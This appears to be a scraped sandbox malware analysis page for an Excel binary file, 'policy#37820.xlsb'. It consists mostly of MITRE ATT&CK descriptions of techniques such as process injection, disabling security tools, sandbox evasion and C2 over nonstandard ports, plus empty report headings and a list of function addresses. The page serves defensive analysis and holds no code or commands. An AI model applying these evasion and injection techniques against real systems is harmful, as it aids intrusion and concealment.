Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report policy#37820.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "policy#37820.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Function 004034C5, Relevance: 75.7, APIs: 33, Strings: 10, Instructions: 410
stringfilecomCOMMON

Function 00405B23, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148
filestringCOMMON

Function 0040676F, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 00403AE0, Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215
stringregistryCOMMON

Function 00403015, Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 188
COMMON

Function 0040324C, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 1000358F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 79
registrymemoryCOMMON

Function 10004398, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 184
registryCOMMON

Function 0040176F, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 145
stringtimeCOMMON

Function 00406796, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 10003393, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58
registryCOMMON

Function 1000341E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41
registryCOMMON

Function 10003656, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30
registryCOMMON

Function 10002B98, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre